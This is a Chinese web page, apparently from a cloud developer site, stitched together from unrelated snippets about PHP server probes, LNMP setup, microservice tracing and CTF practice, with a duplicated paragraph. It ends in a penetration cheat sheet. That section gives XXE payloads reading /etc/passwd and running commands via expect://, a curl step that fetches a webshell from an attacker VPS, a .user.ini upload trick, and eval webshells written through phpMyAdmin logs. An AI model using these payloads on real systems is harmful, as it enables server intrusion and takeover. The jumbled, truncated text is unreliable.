话说我的网站就是用的Win环境的虚拟主机，其实选主机还是要做的心中有数，不要被某些空间商忽悠了。所谓“无奸不商”这句话还是有它存在的意义，既然我们不能相信“天下无贼”，那俺们就只有提高警惕。
本文介绍下php探针代码不显示cpu、内存、硬盘等信息的原因与处理方法，在使用php探针时遇到的一些问题。
WP更新以后就提示建议升级php，目前正在使用不安全的版本7.3.12。还很友好的带了一个升级指南，但是点过去会发现并没有什么卵用。现有的服务器是基于lnmp来提供的服务，于是尝试直接更新php7.4，通过apt install php7.4的方式，安装成功了，修改nginx的cig设置，php也能运行了，但是很不幸的是tmd数据库连不上了，尝试升级数据库，最后以各种失败告终。
在使用服务器的时候，无论是做网站还是跑软件都希望能实时方便地查看和监控服务器信息，包括服务器配置、性能、网络、环境模块等参数，雅黑探针就是专门做这个事情的，只需要简单的配置就能轻松查看和监控这些服务器
题外话：个人觉得这是一个挺好的网站，资料挺多，囊括视频和电子文档，值得我们接触一下。
然后发现地址栏域名和垃圾邮箱里面的给的链接的域名不一样， 是跳转过去的，遂访问初始的域名。
该特性适用于：MySQL Client、PHP with mysqli、PHP with PDO（默认未开启MYSQL_ATTR_LOCAL_INFILE属性，需要手工开启才可以）、Python with MySQLdb、Python3 with mysqlclient、Java with JDBC Driver等。
------------------------------------------------------- 配置步骤---------------------------------------------------------------------
感谢大佬：https://doub.io/shell-jc3（脚本作者博客）958135944（思路提供）、https://gamesme.blog（安装指导） 本次使用的探针为ServerStatus-Toyo
服务从单体应用升级到微服务的时候，整个请求的链路会变多，当发生异常、或遇到接口性能瓶颈时。很难将具体的异常日志和具体的请求关联起来，也很难直接定位是哪个调用环节存在性能瓶颈。这个时候就需要一个分布式链路追踪系统来串联调用链，快速定位问题。
基本用法（导入文件test.txt到table1表中，txt文件中的行分隔符为\r\n，默认tab键为字段分隔符，txt文件中的每个字段按顺序对应column1、column2，。。。导入表中）
随着企业经营规模的扩大，以及对内快速诊断效率和对外SLA（服务品质协议，service-level agreement)的追求，对于业务系统的掌控度的要求越来越高，主要体现在：
AoiAWD 是一个由Aodzip（安恒信息 海特实验室研究员、HAC战队成员）维护的一个针对于CTF AWD模式的开源项目。专为比赛设计，便携性好，低权限运行的EDR系统。任何人都可以在 GNU AGPL-3.0 许可下使用该项目和分享该项目的源码。 AoiAWD地址：https://github.com/DasSecurity-HatLab/AoiAWD
phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种，是一款使用PHP 开发的基于B/S模式的MySQL客户端软件，该工具是基于 Web 跨平台的管理程序，并且支持简体中文，用户可以在官网上下载最新版本的。
一个简单的示例如下，主要逻辑就是，用变量 _alert保存原函数 alert，然后重写 alert 函数，在重写的函数最后调用原函数。这样得到的一个效果就是调用 alert 的时候，可以往 alert 中加入其它操作。比如如下代码中进行一个赋值。
马上八月份了，本菜鸡就要开始备赛九月份的黑盾杯，得开始准备刷刷题了，正好也能给以后学弟学妹们看看。
不久前 Fedora 21 发布了，版本有三个，其中有一个服务器版本，原文提示采用的就是 Server 服务器版本，先看看 LAMP 是 Linux、Apache、MySQL/MariaDB、PHP 的简称。
【转载请注明出处】：https://cloud.tencent.com/developer/article/1655067
2019年3月24日 ⋅ 浏览量: 31
微服务架构其实就是将单一的应用程序划分成为一组小的服务，其中每个服务都是独立的业务单元，同时又能够被独立开发、运行、测试以及部署。简单来说，它的本质其实就是拆分和独立，这也决定了微服务的部署应该是分布式的。微服务架构虽然解决了目前诸多的架构层面的问题，但在分布式部署的环境中，如何才能够有效监控每一个服务，并及时发现系统中的问题又成为了新的挑战。
这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r’s club这题的一个技巧。
注意：如果是虚拟机安装的kali 系统已经默认安装。直接用就行了，不需要安装。
这应该是一个很早以前就爆出来的漏洞，而我见到的时候是在TCTF2018 final线下赛的比赛中，是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。
SkyWalking是一个开源的APM系统，包括分布式系统的监控、跟踪、诊断功能 在云原生架构中。
导读：本文摘自于SkyWalking创始人吴晟撰写的《Apache SkyWalking实战》一书，详细讲述了SkyWalking的架构设计与优势。
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
了解xjjdog的都知道，在微服务trace方面，我在两家公司实施了uber的jaeger。但是，jaeger虽然可以搜集调用链信息并查询，但统计图表相对欠缺，尤其对于服务间调用关系部分，不够直观。
对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料 类似于闯关的模式 , 每一个关卡都有非常多的思路和利用方式 这些关卡包含了各种常见的SQL注入姿势 :
Memcache是一个自由和开放源代码、高性能、分配的内存对象缓存系统。用于加速动态web应用程序，减轻数据库负载。
.svn SVN是一个开放源代码的版本控制系统 ,在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息
现象： 所有bbs目录下的php文件打开内容都为空，但是状态码都是正常的200。 分析与过程： 清除CDN全站缓存，无效 CDN回源，由于问题依然存在，证明不是CDN的问题 查看宝塔Nginx防火墙，防篡改，防提权，PHP保护，WAF保护，没有任何记录 重载Nginx配置，重启Nginx服务，无效 重载PHP配置，重启PHP服务，无效 重载Memcached与Redis配置，重启服务，无效 TOP命令检查PHP-FPM运行状态，正常 服务器探针iprober.php显示正常，排除php安装配置问题与服务器本
Tracing 是在上世纪 90 年代就已出现的技术，但真正让该领域流行起来的还是源于 Google 的一篇 Dapper 论文。分布式追踪系统发展很快，种类繁多，但无论哪种组件，其核心步骤一般有 3 步：代码埋点、数据存储和查询展示，如下图所示为链路追踪组件的组成。
玩着玩着手上有了4台机子，两台双十一买的腾讯云，两台甲骨云。今天这篇教程就来介绍一下怎么在 VPS 上挂探针，让我们一起以针会友。 本教程就基于可乐大佬的 ServerStatus-Hotaru 项目，来和大家一起搭建探针。
使用LNMP环境，在探针里测试发送邮件，但是失败了。已经确定mail()函数是开启的，于是乎，Google一下，发现了一个方法不错，Mark一下。
SG11即SourceGuardian安全组件，目前是PHP运用中较为重要和安全级别较高的安全组件。有一部分系统默认状态下未安装或启用SG11，而有的开源系统需要开启sg11才能安装使用，本教程教你如何安装PHP7.1的SG11。
使用vim时意外退出，会在目录下生成一个备份文件，格式为 .文件名.swp，访问/index.php.swp下载备份文件，用记事本打开即可
PHPInfo()函数信息泄露漏洞常发生在一些默认安装的应用程序，比如phpStudy、XAMPP。默认安装完成后，没有及时删除这些提供环境测试的文件，比较常见的为phpinfo.php、php-info.php、1.php、test.php、info.php等。PHPInfo页面包含了大量的关于PHP的当前状态环境信息、PHP的编译选项和扩展、操作系统版本信息、服务器系统变量信息、Web应用物理路径信息等等，利用这些信息配合其他漏洞可能导致网站被渗透或者系统提权等危害。
微信公众号：码农编程进阶笔记 关注可获得更多的视频教程及面试技巧。问题或建议，请公众号留言!
v**用CentOS系统，装了wordpress没有评论邮件通知，邮件程序很多，挑选最常见的sendmail程序。
这里我探测了一个并不存在的地址，所以pod在探测失败后肯定会重启 启动该pod，启动成功后查看pod的描述和日志
它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
开源地址：https://github.com/Brant2005/Holy-Lance 特点：简单，高大上，像极了WIN10的任务管理器界面，亲和操作方便，详细信息，还可以测试VPS性能
微服务架构已经是一个很通用的系统架构，常见的技术栈如下图所示，这张架构图基本涵括了当前微服务体系下的各种技术栈，可能不同的技术栈有不同的开源实现。
如果我们部署WEB环境用于网站项目，我们还是建议用成熟的一键包或者可视化面板这种，毕竟软件的部署和后续的运维方便很多。但是，如果我们有需要学习Linux环境的原理，那还是要学会原生态部署软件的，比如常用的LAMP环境我们这篇文章准备部署一遍。
随着分布式技术的发展与演进，微服务技术成为了大型分布式IT架构的必然选择。从本质上来讲，微服务是一种架构风格，将一个大型的系统拆分为多个拥有独立生命周期的应用，应用之间采用轻量级的通信机制进行通信。这些应用都是围绕具体业务进行构建，可以独立部署、独立迭代，也可能根据业务负载独立的水平扩展。微服务思想以及相关的技术为IT架构的发展带来了一系列深刻的变革。
在Apache中，访问：liuwx.php.360会从右往左识别后缀，存在解析漏洞的时候，会从右往左识别哪个能解析，360是不能被解析，然后往左识别到php就识别能解析，这就是Apache的解析漏洞
前天在 vpsyou 买了一个虚拟主机VPS，但是因为在家里的连接速度不佳被我退了，昨天又买了遨游的虚拟主机，速度还可以。 以下是安装过程：
有时候发现空间不能采集，考虑一下是不是由于这个原因引起的，可以通过如下方法来尝试解决：
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
